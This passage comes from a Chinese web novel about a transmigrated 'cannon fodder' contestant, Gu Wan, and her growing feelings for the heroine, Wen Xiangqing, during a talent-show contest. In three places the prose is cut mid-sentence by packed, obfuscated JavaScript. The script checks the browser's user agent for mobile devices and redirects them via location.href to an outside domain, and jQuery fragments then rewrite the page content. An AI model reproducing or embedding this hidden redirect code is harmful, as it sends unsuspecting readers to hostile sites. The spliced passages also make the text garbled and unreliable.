不过这么说来，虽然女主身体健康，但两个人吃同一份菜确实不太好。 一会儿她得让温向晴用公筷夹菜。 这样想着，她在入口处拿了两盒饭和三双筷子，便拎着袋子匆匆回了宿舍。 13. 选秀第13天 顾菀把饭盒往温向晴的桌上一放，转身就回了自己的床上，打算趁着晚饭时间补个小觉。 结果回头一看，摊开的饭盒就没被动过，温向晴背对她坐着，只能看到那只捏着筷子的手一动不动地。 顾菀心下诧异：温向晴不是只是扭到了脚吗？手又怎么了。 莫名其妙。 顾菀一卷被子，声音也变得懒懒的：“别看了，快吃，吃完我也要吃饭的。” 躺上床之后，踏实、惬意，强烈的舒适感让她不想再顾及其他，两眼一闭就睡了过去。 宿舍里只有她们两个人。 安静的房间里，顾菀渐趋平稳的呼吸声也清晰可闻。 温向晴不敢回头，此时听到对方睡着了，才终于敢有动静。 她舒了口气，压抑着的嘴角扬了起来，含着眼泪的眼眶随着面部肌肉的晃动，啪嗒，掉了两颗珠子，滚进了她的饭中。 温向晴从没想过自己是这么脆弱的人。 明明以前再苦再累再委屈，咬咬牙也就过去了，怎么现在吃个饭还被感动到哭了呢。 这一年来吃不上几餐好饭，再加上平时训练太累了，温向晴差点都要忘记自己曾经是个多么挑食的人。 每个食堂的菜品一般都是固定的，她前几天都是随便选一个窗口，然后点几个菜将就着吃下去，也没觉得有什么问题。 顾菀是怎么发现的？ 是因为她吃饭时不经意间流露出的挑剔的神情吗？ 还是因为她一餐饭后，有的格子直接空了、有的格子却几乎未动？ 她才不信是因为顾菀排的窗口刚好全都是她喜欢的菜，一看就是特意为她挨个排过去的，难怪去了那么久。 傻不傻啊。 偏偏嘴巴硬得很，什么都不肯认。 还宁愿自己饿着，让她先吃。 怎么会有这种人呢。 温向晴把饭盒里的菜挨个尝了一遍，然后低头扒了几口饭，感觉今天的饭菜都变得出奇地好吃了。 顾菀这一觉没睡多久就被叫醒了。 她懵着脑袋听温向晴说“吃好了”，于是点点头，靠在床沿缓了一会儿才下了床。 温向晴去床上坐着，给顾菀腾出了吃饭的位置。 拉开椅子坐下一看，每道菜都被分成了两份，半边已经空掉了。 温向晴用过的塑料餐盒和筷子也被她收拾好了，架在饭盒边上的是公筷。 好了，这下顾菀舒畅了，心中也生出了几分好感：女主不愧是女主，还挺自觉的。 她转头看过去，发现床边坐着的人没了，蜷进了床尾的小角落。 “你在干嘛？”顾菀皱了皱眉头。 “啊？”温向晴一时间有些不好意思，“我用点药。” 顾菀在这方面还是有些经验的，她把身子往后仰，一眼就看到温向晴抽出了一个方形的盒子。 “你用过喷雾了吗，怎么就贴膏药了。”她坐不住了，站起身走了过去。 “不是贴上去就好了吗？我看说明书说贴一天然后撕下来就好了，有什么讲究吗？”温向晴的双手悬在半空中。 “看吧，不懂了吧，我……”顾菀说着说着，瞥了宿舍里的摄像头一眼，然后把温向晴的药接了过来，“不是开了三种药给你吗，你要挨个用过去，还要好好按摩，这样才会好得快。” 顾菀觉得自己为了女主的事业真的是鞠躬尽瘁了，如果这个世界结算的时候不给她一千积分都对不起她的工作态度。 幸好现在摄像头没开，她可以帮女主好好按一下，让女主的脚好得快一点，剧情的发展也就稳一点。 “你先吃饭吧，不然一会儿都凉了。”温向晴态度顺从地挪到了床头，看了看桌上还没被动过的饭。 “事有轻重缓急，你就管好自己。”老大哥口气又出来了。 顾菀在温向晴的身边坐下，犹豫了一下，把温向晴的被子垫在了自己的腿上，然后才让温向晴把脚架上来。 她先是给自己催眠了一会儿，在心中默念了一串—— “为了任务，金牌炮灰从不怂” “人体石膏而已，就当自己的脚吧” “这不是人的，这是猪腿这是鸡爪这是鸭掌” 等等诸如此类的话，然后才稳稳下了手，淡定地给温向晴按揉着脚踝。 宿舍楼下，A班的李棠羽从食堂走了出来。 她是《创星101》主题曲的C位，节目组给了她一个小福利：在今天晚饭期间拿着手机给粉丝们直播宿舍生活。 教学楼那种24小时直播的地方就不用去了，她刚刚在食堂带着观众看了一下她们的用餐环境，然后采访了几个比较有梗的同学，现在打算去宿舍区逛逛。 李棠羽是节目里的大热选手，又A又飒的气质和直爽的个性给她打下了半壁江山，再加上本身实力和公司背景都很好，这次还拿了初C，出道位基本上是稳了的。 本身粉丝就多，加上教学区没什么人可看，其他妹妹的粉丝们也纷纷挤了进来，希望能在这里看到自己pick的选手。 李棠羽的直播间直接被顶上了热一，又吸引了一波路人。 她先是在自己的宿舍呆了一会儿，给大家介绍了一下她的日常，帅气的外表下是小女生的可爱内心，萌得粉丝们疯狂鸡叫。 主题曲考核之后，她们并没有再更换宿舍，因而，等李棠羽把A班和B班宿舍逛得差不多后，直播弹幕里的热门选手粉丝们开始刷起了一排排名字： 【看看我家小呆吧QAQ女鹅平时就好沉默，今天走得也早，好想看看她怎么样了。】 【柳知荷在C班，是不是马上就能逛到了呀，真的不去我们海王荷的宿舍看看吗！】 【阿晴阿晴阿晴阿晴拜托了！她下午才受了伤，呜呜呜去安慰一下好不好#流泪】 【一把子支持！菀姐也在那个宿舍！她们平时都不开摄像头，一点物料都看不到真滴难受。】 【#滑稽，开了不就被你们看到撕币了吗，还怎么在镜头前经营好姐妹人设啊。】 李棠羽一边笑着安抚粉丝们，一边沿着方形走廊挨个逛着宿舍。 为了营造直播效果，她一直都是敲两下门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112523|179946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，然后直接推开走进去的，等走到D班区域时，也不例外。 进化后的顾菀顾师傅觉得自己已经升华了。 她感觉自己现在姿势娴熟得就像是在揉着刀板上的面团，视若无睹，胸襟开阔，和女主接触起来完全不会尴尬。 温向晴乖巧地坐在床头，一会儿看看她的手，一会儿看看她：“小菀，你怎么什么都会呀。” “是吧，我也觉得。” 顾菀在过往的十个世界里积累了丰富的经验，一说起这个，她不免有些飘飘然，“其实我现在可以直接退休出去开一家盲人推拿店，墨镜一戴，财源广进。还有，说了别叫我小菀了。” 温向晴笑了出来。 不知道为什么，顾菀看起来是一个矛盾重重的人。 热心肠，冰块脸，说起话来又满是烟火气，她怎么看怎么觉得可爱。 偏偏这么可爱的人还喜欢她，让人很难不想去回应。 “那应该怎么叫你呢？”温向晴面上收了笑，眼睛里却止不住笑意。 “就叫名字呗。” 炮灰的活可真惨，还要边做按摩边陪聊是吗。 “小顾？我感觉太生疏了。”温向晴思考了起来。 “你怎么不叫小顾子呢？换。” “菀菀？”她其实最喜欢这个。 “……这不是那个啥，‘菀菀类卿’吗。换。”顾菀可不想和网络热梗沾上边。 “那是什么？”温向晴疑惑。 “哎呀总之不行啦，换！”小说里怎么可能会有现实世界的东西，顾菀懒得解释。 “菀儿？”感觉怪怪的。 “咦恶。”顾菀感觉自己起了一身的鸡皮疙瘩，“我情愿你叫我上官，再换。” 温向晴点了点下巴，像是想到了什么，笑容都变得狡黠了。 她曲起了腿，右手撑在身前，顺势倾斜着身子凑近了顾菀：“我知道啦，应该叫你阿菀，就像你叫我阿晴一样。” ……说、说话就说话，凑那么近干嘛。 底层打工仔顾菀正乖乖给老板捏着脚，突然就感觉到了一阵淡淡的清香逼近，就连萦绕在耳畔的声音也是淡淡的：“阿菀……” 却像是藏着别样的意味。 顾菀的脸登时就红了。 脸红都不算什么，最要命的是，她突然发现自己的心跳声变得清晰有力了起来，全身的血液都在发力。 又是一个从未有过的新情况。 自从她受伤后，人生最重要的功课就变成了如何保持心平气和，如何让心脏永远处于安稳祥和的状态。 医生说，它不出毛病，她就不会出毛病。 可是现在，顾菀感觉自己被这无法停止的心悸桎梏住了呼吸，慌乱得直接忘记了这其实不是她那具破破烂烂的身体。 完了，她是不是要死了…… 顾菀浑身僵硬，脑子里只剩下这一个念头。 李棠羽就是在这一刻进来的，举着手机，带着几万双盯着直播的眼睛。 看到了虚靠着她的温向晴，满脸通红的她，在一个暧昧的姿势下。 14. 选秀第14天 当天晚上，八卦向第一大社交平台某组直接被洗了版，一刷过去全都在讨论今晚的直播福利。 其中，热榜第一的帖子本身没有什么技术含量，不过是占据了发帖速度的优势，标题既直观又吸引眼球： 【经！典！永！流！传！】 没名没姓的，也不知道说的是哪个流量明星。 正文全篇只有一个十几秒的视频，但只要是刚刚从李棠羽直播间跑过来的，都能从视频封面一眼看穿个中含义。 于是，这个帖子的热度也开始直线攀登，直到爆掉。 【等的不就是这个吗！刺溜，让我再看几遍。】 【刚刚实在太突然了！根本没想到要录屏！楼主好人！】 【呜呜呜固晚向晴官宣了！我第一次嗑cp就能拥有这样的幸福真的好吗！】 比起第一，热榜第二就更具专业性了，虽然直到这股热潮退去时都没能超越第一，但在某种意义上，它是真正的“经典永流传”。 标题取得相对考究，在一排热帖中宛如一股清流： 【温顾知心其一：从相识到相知，细数那些看似不经意的擦肩与回眸】 从标题标着的数字就可以看出作者的宏大规划。 在未来数年里，陆续推出的“其二”、“其三”乃至“其九完结篇”都产生了不小的热度，与这次的首发篇一同成为了重要的参考资料。 如果几十年后的人想要研究某代娱乐圈顶流与其爱妻的情感发展，那么，这一系列文章绝对不应该被错过。 贴子里的内容详实、考据丰富，通俗来说，就是一个集大成者，按照时间顺序把固晚向晴这对cp的所有糖都整理了一遍。 有空穴才有来风，每一段分析都配上了相应的动图，让关系的发展变得有迹可循。 加上作者那饱含情感的文字，一段爱情的浪漫开端，就这样被娓娓道来。 网友直呼：【细啊！太细了！列文虎克甘拜下风！】 或是恍然大悟：【我就说这对看起来明明没什么交集的样子，为什么就这么甜呢。果然暗戳戳的才是真！】 引爆出新热点的，是这栋楼里的一条被顶上了“神回复”热一的跟帖： 【[图片][图片]这是我去年去24小时便利店买夜宵的时候看到收银姐姐实在太好看了就偷偷拍的（已经知道错了顶锅盖跑），现在才想起来，这不就是阿晴吗！当时都凌晨四五点了，姐姐好辛苦#流泪】 图片里是一个面容姣好的女孩，一头柔软的黑发被束成低马尾，皮肤白皙，脸上挂着淡淡的笑，却终究难掩疲惫。 没过多久，知情人士出来爆料。 粉丝这才知道，原来她17岁的时候父母就离世了，为了维持生计不得不辍学出来打工。 这边刚开始哭着呢，那边顾菀也被爆出来了，说是从小父母双亡，跟着爷爷过日子。 好了，这下真的是大彻大悟了—— 这波啊，这波是惺惺相惜，天生一对！ 固晚向晴一夜登顶，成为大热cp，两人的个人超话也涌入了大量死忠粉。 训练营里消息封闭，顾菀对于自己的情况是没办法知晓的，幸好女主的状况有一个抽象的指示。 “宿主宿主，别难过了啦，你刚刚给女主吸了不少粉呢。”系统调出了走红进度条，安慰起了她。 顾菀从一盒吃了十几分钟却又基本没动过的米饭里抬起头来，不明所以地“哦”了一声。 进度条的前进速度是前所未有的快，基本上一个眨眼就能往前跳小半格，但顾菀现在却开心不起来。 李棠羽好歹是在娱乐圈待了几年的前辈，打了个圆场缓解了当时尴尬的气氛，应该没什么大碍。 温向晴被拍到和同学亲近友爱，由此吸了一波好感，也是正常的事情。 她也想清楚了：剧情走向并没出什么问题，只是因为她在小游戏里替代了田偲偲的位置，所以田偲偲后续的戏份便落在了她的身上。 原著里，温向晴和田偲偲确实是靠着这种事互惠互利的，所以今晚被拍上直播应该也是剧情的一部分。 但她就是觉得心里闷闷的，说不出的奇怪，脑子里反复回放着温向晴贴在她耳边说话的样子。 她一开始觉得，自己当时应该是在害怕，现在的失神也只是心有余悸。 但这感觉不对，至少，因果关系错了。 小学的时候，她曾经被班上调皮的同学关进了学校后方老旧的库房里，气氛森冷、空气稀薄、灰尘遍地。 她那时候胆子还很小，情绪起伏下，一双嘴唇直接发紫，神经发痛，脑袋也逐渐昏沉…… 那才是寻常生活中的濒死体验。 而刚刚，温向晴只是轻轻说了两个字，可能距离是比较近吧，可能声音是比较轻吧，但根本就不存在什么危机感啊。 为什么心会跳得那么快？ 甚至在那一刻，她好像，还有点开心？ 顾菀撑着脑袋的左手一巴掌拍在了自己的脸上。 离谱，这饭是吃不下去了。 她站起身来，快速收拾了一下，板着脸和温向晴说话：“看好了没，该出发了。” 做完按摩后，顾菀就把自己的歌词本塞给了温向晴。 她懒得想那么多弯弯绕绕的了，很直白地让人照着歌词本上的注意事项去学，方便之后指导其他同学。 温向晴连忙回过神来，抱着歌词本单脚跳着坐上了一旁的轮椅。 等她们到教室的时候，其他几个成员已经开始练习了。 田偲偲坐得离门近，为人也热情，看着顾菀把温向晴扶进来，她便跟了过去，关心道：“向晴姐，感觉好点了吗。” “嗯，好多了。”温向晴坐在地上，友善一笑，“多亏了顾菀给我做按摩。” 喂，能别提这件事了吗！ 看着田偲偲望过来的眼神，顾菀面无表情地别过了脸。 看什么看！ 也不想想她这是替谁的班！ 晚上的练习开始前，六个女孩子又围成一圈坐下，先把歌顺了一遍。 这次，温向晴点 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温向晴唱功还算不错，声音也清甜悦耳，身上，唔，也是清爽的味道。 这样想着，顾菀悄悄抬起头，往温向晴那边望了过去，然后视线就收不回来了。 原著的卖点在于大女主，毫无疑问，它对女主的塑造是十分成功的。 但再怎么成功也不可能比得上现实中的人吧？ 顾菀是从现实世界进来的，小说里的角色于她而言，不过是一个个NPC罢了。 更何况，坚强、温柔、强大、努力、幸运，当作者把如此多的美好的词汇赋予在一人身上时，过分的光芒只会无限地拉开她与主角间的距离感。 温向晴长着一张国民初恋的清纯脸，基本上是一个笑迷倒一片人，但顾菀总是觉得不过如此——好看归好看，就是缺乏记忆点。 从她们成为舍友的那一天起，温向晴就是一朵风中摇曳的小白花，还总爱对她莫名其妙地笑，怎么可能会不产生免疫？ 但就在刚刚，一切好像不太一样了。 温向晴在给队友讲课。 她乌黑的长发随意地披在肩上，偶尔会随着动作微有起伏。 细长的眉头悄悄结成柳絮，樱色的朱唇微微凝滞，衬得整张脸都有了生气。 她水亮的眸子向下，看着手中的歌词本，似乎是遇到了一个难题。 但很快，她便想到了解决方法，唇角浅浅一勾，内心的愉悦显露无遗。 侧过脸去继续给队友做讲解时，温和的脸上又显出了些许严肃，写满了认真。 那一刻，温向晴的形象变得鲜活了起来，她不再是小说世界里随时可以说再见的角色，而是一个一颦一笑都在牵动她心的人。 那一刻，顾菀恍惚间忘记了自己只是一个任务执行者，她不再是这个世界的匆匆过客，至少…… 她想赏完这一轮盛大的月下繁花。 隐隐约约的，心跳似乎又加快了。 15. 选秀第15天 第一次公演的练习时间满打满算其实只有四天。 上周日刚刚分好组，这周四就彩排了。 周五的公演采用的是小组对抗的形式，因此，彩排也是挨个组别轮流过去的。 周四晚饭后，被排在最后的《海鸥吻过的夏天》小组，全员待在练习室里待命。 顾菀在角落里把自己的段落跳了一遍又一遍，跳到实在是没有继续练的心情了，也没有等到人来喊她们。 她干脆往地上一坐，四处看看，队友们也都纷纷无聊得瘫在了地上。 田偲偲此时又焦虑又累，有气无力地和大家分享心情：“你们知道吗？刚开始的时候，我在担心如果在台上演砸了怎么办；然后，我就进入了自信膨胀的阶段，我觉得我们组天下第一；等到现在，什么第一不第一，我已经无所谓了，我只想快快结束这一切啊啊……” 温向晴的精神倒还不错，她停下了唱跳的动作，走到门边去翻自己的包。 不知道翻出了什么东西，给组员们挨个递了过去，还笑眯眯地说着鼓励的话语。 等温向晴朝着最后一个人走来时，顾菀瞥了一眼她的脚：“别没事就乱动，注意点。” “嗯，好哦。不过真的不严重，已经全好了。”温向晴在顾菀的身边坐下，右手伸到了顾菀的面前，掌心摊开，上面躺着两颗亮晶晶的糖，“请你吃糖呀~” …… 顾菀看着眼前熟悉的糖果，不由得陷入了沉默。 所以，这段时间时不时就冒出来的糖果，居然是温向晴送她的？ 幸好宿舍不开摄像头，不然别人肯定会误以为她和女主关系挺好的。 反正现在温向晴每个人都送过去了，她拿的话，也不突兀吧？ 这样想着，她便大大方方地拆掉糖纸扔进了嘴里，又临时记起了什么：“哦对了，草莓味的不好吃。” 温向晴乖巧点头：“好，以后不买这种味道了。” 弹幕：【哦吼，有故事。】 这就是分到同组的幸福吧，cp粉每天都在团建呢。 直到顾菀吃完了糖，都没有人再说一句话，一阵奇怪的氛围蔓延开来。 为了打破现状，顾菀轻咳了一下，侧身拿过自己的歌词本，提议道：“我们再练一下killingpart？” 说起killingpart这个词，还是周二那天声乐导师邹明月提出来的。 《创星101》节目组比较重视学员的自学能力，一直等到她们练得差不多了，才安排了老师来指导。 邹明月毕竟是华语乐坛数十年来的大将，给她们指出了不少问题，包括对顾菀。 “顾菀是吧？唱功很不错，但还是有点问题的。”邹明月思考了一下，“killingpart这段，六次真假声转换，技巧可以，感情不太行。” 她说着便演示了一遍，讲得比较抽象，“感觉到了吗？就是要有那种空灵中不失深情的意境。” 原著里，很明确地写出了女主在公演上，利用这首歌的“高光时刻”吸粉无数。 毫无理论知识的顾菀同学，直到那一刻才得知了“高光时刻”是从哪个原词翻译过来的。 “……” 老师走后，顾菀就坐在角落里沉默了一个小时。 倒不是在想什么意境不意境的事情，她只是在思考，如何把女主的killingpart给还回去。 要是剧情因为这种小细节而崩掉了，她出去第一件事就是要买豆腐撞死自己。 不过幸好，在系统的嘲笑声中，金牌炮灰还是想出了一个妙计。 她随手拿了早上吃剩的馒头当中饭，利用一整个午休时间，把killingpart给改掉了。 原本单人的片段，被改成了两个人的和声。 顾菀的声线偏醇厚，温向晴的相对清亮，两种声音缠绵交织在一起，就像海鸥伸展着羽翼在海浪中翻飞，碰撞出了瑰丽的夏天。 几乎是一开口，就获得了队友的一致认可。 两个人反复练习了很多遍，等到了现在，状态已经趋近完美。 “呜呜，太好听了。”田偲偲不知道什么时候摸了过来，开始狂吹彩虹屁，“我们组有了你们，我还担心啥啊。” “是呀，我好喜欢听你们唱和声，怎么可以这么契合。” “因为是soulmate呀。” “对对对，就是这种感觉，我听得整个人都神清气爽了。” 几个队友越聊越开，长时间等待带来的焦虑感都渐渐被遗忘在了脑后。 顾菀汗颜，一卷手里的歌词本：“好了别扯了，精神了是吧？我们再自己排一遍。” 这么一排，时间的流逝速度也变得快了起来。 她们一直练到将近十一点，才被带去彩排现场。 看看绚丽的舞台灯效，再看看大型舞台上的点位，放松下来的心瞬间又提了起来。 温向晴状若不经意地四处寻找着摄像头，放在身侧的手也不由自主地捏紧了。 六个人里，只有顾菀的状态是最好的。 这得益于她从小就被锻炼得极其稳定的内心，也得益于她最近的小变化。 在这几天的练习期间，顾菀渐渐发现，她开始享受舞台了。 在音乐与舞蹈中倾诉无法言表的情谊，在镜头前发光发热成为耀眼的存在，用最美好的状态去鼓励他人也鼓励自己。 这是她过往的生命中从未有过、也不可能拥有的经历。 系统告诉她，很可能是因为受到了原主潜意识的支配，建议她尽快抽离出来。 但顾菀没办法认同，明明她能清晰地感受到艺术的魅力。 她在歌唱时，那种发自内心的快乐还能作假不成？ 随着几个女孩在舞台上站定，伴奏响起，她们的彩排开始了。 按照之前在教室里反复排练的经验来看，这次彩排只是为了熟悉舞台环境，并没有什么难点。 但温向晴唱崩了。 六个人里唯一一个崩掉的，从头到尾，一塌糊涂。 和声的部分，顾菀疯狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女主这边出事了，一时半会也没有重要角色来捞，看来得要炮灰上了。 顾菀心中叹气，她站在温向晴的旁边，鞠躬道歉：“明月老师，她第一次上大型舞台太紧张了，回去缓缓就好，明天肯定不会出错的。” “现在还没观众呢就紧张了，明天演唱会人山人海她是不是要直接晕倒？”邹明月当然看得出来，但她就是急啊。 她看向了温向晴，语重心长道，“向晴，你很优秀，也很努力，我知道你很想把舞台做好。明天这个时候，会有很多很多粉丝为你而来，她们坐在台下，期待着你的表演，你觉得你呈现出的舞台能及格吗？你忍心让他们失望吗？” “……” 温向晴没有回话，她知道导师说得很对，她也很想做得好，但她已经没有勇气再去承诺了。 她大概，真的做不到。 邹明月在原地等了一会儿，依旧没有等到回话，于是摆摆手就让女孩们离开了。 有些人注定就是要与舞台擦肩而过的，她管不了那么多。 深夜，不知几点。 明天，她们要带妆营业到后半夜，为了能让皮肤和自己都有个良好的状态，绝大部分女孩都已经入睡了。 但温向晴一直没回过宿舍。 顾菀翻来覆去好一会儿都没等到人，只好蹑手蹑脚地爬了起来，换上衣服出了宿舍。 还能干嘛去，加班啊。 16. 选秀第16天 四月的深夜，四下阒寂，花未开，蝉未起。 温向晴靠坐在花坛外侧的秋千上发着呆，她已经第三次察觉到不远处的人影了，于是无奈地笑了笑：“好啦别躲了，我知道是你。” 话音一落，果然就见顾菀走了出来，沉默地坐上了秋千长椅的另一端。 面色凛然，鼻尖上细密的汗珠却偷偷泄了密。 温向晴伸手轻轻一勾，白皙的指节上就染上了一层水光，温热的触感让她心尖发软：“对不起呀，让你着急了。” 感受到这动作中亲昵的意味，顾菀下意识就别过了头，矢口否认道：“谁急了。” 她这不是急出来的汗，是跑出来的。 她把整栋楼的练习室都找了一遍，又在外边晃了小半圈，才远远看到了花坛里的人影。 好不容易松了口气，刚想考虑一下怎么开口，就被发现了。 顾菀用手背轻轻擦着自己额上的薄汗，为了避免不必要的误会，她决定把丑话说在前头： “我事先说明一下，我是因为睡不着——不是因为别的，紧张而已，所以想出来走走。” “然后就刚好——没错，就是这么巧，遇见了你。” “既然碰都碰到了，作为队友——毕竟组员互帮互助是应该的，就想来找你聊聊。” 系统评价：“宿主，这是我见过最烂的开场白。” “你懂什么，这是必要的免责声明！” 虽然她掷地有声地把系统给怼了回去，但难免有些心虚。 她偷偷瞄了一眼温向晴，看到对方在笑，便谨慎发问：“你笑什么。” “因为我很开心呀。”温向晴勾起唇角，眸中流转着光，“你还是第一次一口气和我说这么多话呢。” 这就觉得多了？那一会儿她的一堆大道理还要怎么讲？ “总之！”顾菀撇了撇嘴，清咳一声，“我不是担心你，只是不希望自己被拖后腿。” 温向晴忍俊不禁。 她点点头，从善如流：“嗯，我知道。” 好了，场子被她镇住了，那接下来，她要帮女主做开导了。 “其实……”她刚一开口就被打断了。 “谢谢你来特意安慰我呀。”温向晴看着她摇了摇头，面上是拒绝的意味，“可是我想明白了，我并不适合娱乐圈——我可能要退出了。” “完了完了！”系统率先消化完毕，“宿主，这个世界又要崩了！你要把女主逼退赛了啊！” “……” “宿主，你快说些什么啊！还有救！”看她一言不发的样子，系统急得不得了。 “我……” 其实顾菀的心里装了很多大道理，她可以从实力、现状、心理，各个角度去和温向晴分析。 她脑子里闪过了很多画面。 是温向晴开场惊艳的女团舞，是她日复一日勤奋的练习，是她面带微笑地说着“会努力的”那样自信的样子。 但此刻，她只觉得脑袋像是打了个死结，情感奔涌而来，堵塞在了喉头。 “……那我呢？”她心里转过千百回，最终只能干巴巴地问出这一句话。 “是啊！”系统在脑中附和道，“她要是退赛了你这任务不就白做了吗……” 顾菀感觉自己要被烦死了，直接把系统一键屏蔽掉。 任务什么的，随它去吧。 “我们把killingpart再唱一遍？”她尝试着想让女主振作起来。 温向晴摇了摇头，勉强地勾勾唇角：“不必了，唱多少遍都是一样的结果。” 笑容尤为刺眼，看得顾菀都有些莫名的委屈了。 她顿了许久才讷讷开口：“……那你考虑过我吗？” 看着对方茫然的表情，她感觉心里眼里都有些涩涩的：“所以你从没考虑过我。” “对，我知道你害怕，可那又怎么样？我们陪着你呀，你有五个队友，有那么多粉丝，没有人可以再伤害你了。” “说得难听点，这世界上除了生和死，有什么困难是跨不过的呢？何况你还有我。” “可是你现在呢？”她深吸一口气，已经不知道自己是在劝说还是在指责了，“你把我一个人丢在台上，让我独自唱着属于我们的part。” “老师都说了，我一个人唱不好的！现在你把我丢下了，那我又该怎么办？” “分组那天，你和我说，你会和我并肩而立，我当时就在寻思着，你是不是想和我双双退赛。” 结果她现在努力准备着公演，温向晴却临阵退缩了。 这个负心汉！ 顾菀哽了一下，扯出了一个难看的笑容，声音也低落了下去：“哈，原来你真的是这个意思。” 深夜，空旷的花坛里，静谧的月色下，别样的情绪在暗暗涌动。 温向晴不自觉地抓紧了秋千扶手。 她望着前方，前方是一条暗得看不到尽头的小道，就像那漆黑一团能吃人的镜头一样，让她恐惧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112526|179946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到想逃离。 可就在她的身边，有一个纤瘦的女孩挺直了脊背，红着眼眶却依旧倔强地想要拉住她。 路灯昏黄的光混杂着夜空中倾泻而下的银辉，流淌在那张精致的面庞上，将温向晴的目光牢牢地吸引住。 顾菀很漂亮，她一直都是知道的。 未曾描画过的直眉泛着浅浅的褐色，棕褐色的长卷发随意地披散在身后，是起床后还未梳理过的样子。 睫毛并不浓密却尤为纤长，时不时轻扇几下，一双澄澈眼眸氤氲了薄雾。 双颊绯红、薄唇微抿，纤巧的鼻子线条优美，原本清冷的面容此时竟然有了几分稚气。 在偶尔拂过的晚风中，显出些许脆弱，又带上了别样的诱惑。 她渐渐屏住了呼吸，恐惧感早不知在何时就消散得无影无踪了。 看着温向晴出神的样子，顾菀突然就泄了气。 她顿了顿，努力压下那股委屈感：“温向晴，我是不可能退赛的，至于你要不要当这个背弃诺言的人，自己考虑吧。” 说完就转身离开了。 她觉得自己有点可笑。 讲了半天，到头来人家还是无动于衷，只有自己心里闷得慌。 大半夜的，她图啥啊？ 路上，顾菀面无表情地解除了系统的屏蔽。 刚从禁言里被放出来的系统急得哭腔都出来了：“女主正是最脆弱的时候，你怎么可以这么骂她呢，一个不小心……” 下一秒，系统再度被屏蔽了。 等温热的流水在身上冲刷过一遍后，她才终于平静了下来。 当时的情绪来得太突然，现在想想就后悔了，她一开始就不该出宿舍。 毕竟女主哪里是她劝得动的，这种剧情，难道不应该由…… 等一下！ 顾菀微微张大了眼睛，突然意识到了什么。 她平日里只会把自己出场的片段翻来覆去地看，还从没看过女主克服恐惧这段的描写，只知道发生在一公前后。 顾菀的心中渐渐浮出了一个大胆的猜想—— 她该不会是，抢了某个重要角色的剧情吧…… “系统系统。”顾菀当即关掉了屏蔽，想让系统帮她查查今晚的剧情。 “宿主啊，回头是岸！快去劝劝……”哀嚎声传来。 算了。 顾菀重新开启了屏蔽。 憨批系统，靠不住！ 她还是自己慢慢翻原著吧！ 17. 选秀第17天 由于顾菀临睡前又去洗了一遍澡，她反倒成了宿舍里最后一个入睡的人，次日，也理所当然地成为了全宿舍最后一个起床的人。 今天是公演的日子，下午，选手们将乘坐大巴前往公演现场。 起床铃被取消了，如果不是她们组被导师安排了临时加练，顾菀甚至可以一觉睡到开饭。 洗漱回来的顾菀打了个大大的哈欠，她已经换好了衣服，打算收拾下东西就去训练，却感觉到一旁的人在向她靠近。 温向晴朝她走了过来，一双漂亮的黑眸亮亮的，脸上的笑容比窗外的晨光还要好看。 因为昨晚的事情，顾菀其实到现在都觉得心里不太舒服。 她低着头整理着自己的包，不打算理睬，结果就被温向晴拉到了屋内的摄像头前。 两个人都穿着节目组发的短袖T恤，温向晴的胳膊毫无阻隔地贴在她身上，肌肤相触的那一刻，顾菀觉得自己的心都漏跳了一拍。 “你注意一点啊。”她板着脸想把自己的手抽出来。 温向晴却灿烂一笑，反而搂得更紧了：“我的脚真的好了，不用太在意啦。” ？ 喂，她说的是这个吗？ 顾菀无语，她刚想提醒温向晴和她保持一点距离，就看到对方抬手打开了宿舍摄像头。 “Hello！大家好！我是温向晴。” 宿舍摄像头和其他摄像头不太一样，它不是直播，而是录播。除了几个特殊时间段，其他时候，宿舍成员都可以自主选择开启录制。 每个周末会有工作人员来取走摄像头里的存储卡，然后把各个寝室的视频进行修剪整合，最终作为粉丝福利放出。 其他选手一个个巴不得多一点镜头，基本上每天都会录点东西进去，反倒是顾菀她们宿舍，这还是第一次主动使用，还是由最怕镜头的温向晴开启的。 顾菀看着她面带微笑、从容不迫地和镜头对话的样子，这才反应过来—— 温向晴的镜头恐惧，被克服了。 一直担心着的事情被解决了，顾菀的双眼却不自觉地暗淡了下来，心中没有半点想象中的欣慰感，取而代之的是莫名的酸涩。 昨天她不自量力地跑去想安慰女主，结果人家理都不理她。 男主一出马，瞬间就能和镜头聊起天来。 男主不愧是男主，和她这种炮灰根本就不在一个重量级。 不过宿舍区里这么多双眼睛盯着，也不知道男主什么时候来的，有没有避开摄像头？会不会被拍到？ 就在她胡思乱想的时候，温向晴已经劈里啪啦说完了一堆话，自己从镜头中心退了出来，把她推了上去：“……那么接下来，就让我最心爱的顾小菀同学，给大家找个招呼！” 行，她懂了，这是要继续营业cp的意思。 认清现实吧，炮灰就是这么惨的，一边看着男女主卿卿我我，一边配合女主演cp。 不过天大地大、还是女主的人气最大，自己能多拿点积分也不算亏。 敬业的顾菀瞬间就想清楚了利弊，对着镜头打起了招呼：“大家好，我是温向晴第二心爱的顾菀同学。” “不是第二呀！”温向晴佯装不满地惊呼了起来。 开玩笑，第一是她能当的吗？ 就是给她一百二十个胆子，她也不敢和男主抢位置啊！ 